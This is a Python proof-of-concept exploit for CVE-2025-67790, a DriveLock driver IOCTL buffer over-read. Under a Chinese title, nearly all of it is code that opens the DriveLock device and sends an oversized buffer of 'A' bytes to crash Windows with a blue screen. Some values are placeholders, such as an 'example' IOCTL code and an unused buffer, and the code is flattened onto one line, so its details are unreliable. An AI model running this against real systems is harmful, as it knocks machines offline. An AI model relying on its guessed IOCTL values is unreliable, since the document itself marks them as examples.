CVE-2025-67790 DriveLock IOCTL缓冲区读取漏洞导致蓝屏死机

#!/usr/bin/env python3 # CVE-2025-67790 PoC - DriveLock IOCTL Buffer Over-read BSOD # Affected: DriveLock versions before 24.1.6, 24.2.7, 25.1.5 import struct import sys from ctypes import * # Windows API definitions kernel32 = windll.kernel32 GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 OPEN_EXISTING = 3 IOCTL_DRIVELOCK_BASE = 0x9C406400 # Example IOCTL base code METHOD_BUFFERED = 0 METHOD_IN_DIRECT = 1 METHOD_OUT_DIRECT = 2 METHOD_NEITHER = 3 FILE_ANY_ACCESS = 0 FILE_SPECIAL_ACCESS = FILE_ANY_ACCESS def CTL_CODE(device_type, function, method, access): """Create IOCTL code""" return (device_type << 16) | (access << 14) | (function << 2) | method def create_exploit_buffer(): """Create malformed buffer with unterminated string""" # Create buffer that will cause buffer over-read # The buffer contains an unterminated string that extends # beyond the allocated buffer boundary buffer = bytearray(256) # Fill with pattern for i in range(256): buffer[i] = 0x41 # 'A' # Create unterminated string that triggers over-read exploit_data = b'A' * 512 # Data exceeds buffer size return bytes(exploit_data) def open_drivlock_device(): """Open DriveLock device driver""" device_name = "\\\\.\\DriveLock" handle = kernel32.CreateFileA( device_name.encode(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None ) if handle == -1: print("[-] Failed to open DriveLock device") return None print("[+] DriveLock device opened successfully") return handle def trigger_vulnerability(handle): """Send malicious IOCTL request to trigger BSOD""" ioctl_code = CTL_CODE(0x9C40, 0x1000, METHOD_BUFFERED, FILE_ANY_ACCESS) exploit_buffer = create_exploit_buffer() input_buffer = create_exploit_buffer() output_buffer = create_exploit_buffer() bytes_returned = c_ulong() print(f"[*] Sending malicious IOCTL request: 0x{ioctl_code:08X}") print(f"[*] Buffer size: {len(exploit_buffer)} bytes") result = kernel32.DeviceIoControl( handle, ioctl_code, input_buffer, len(input_buffer), output_buffer, len(output_buffer), byref(bytes_returned), None ) if result: print("[+] IOCTL request completed") else: error = kernel32.GetLastError() print(f"[-] IOCTL request failed with error: {error}") if error == 6: # Invalid Handle print("[-] DriveLock driver not loaded or not accessible") def main(): print("=" * 60) print("CVE-2025-67790 PoC - DriveLock BSOD Trigger") print("=" * 60) handle = open_drivlock_device() if handle: try: trigger_vulnerability(handle) finally: kernel32.CloseHandle(handle) else: print("\n[!] Note: DriveLock driver must be installed") print("[!] This PoC requires administrator privileges") if __name__ == "__main__": main()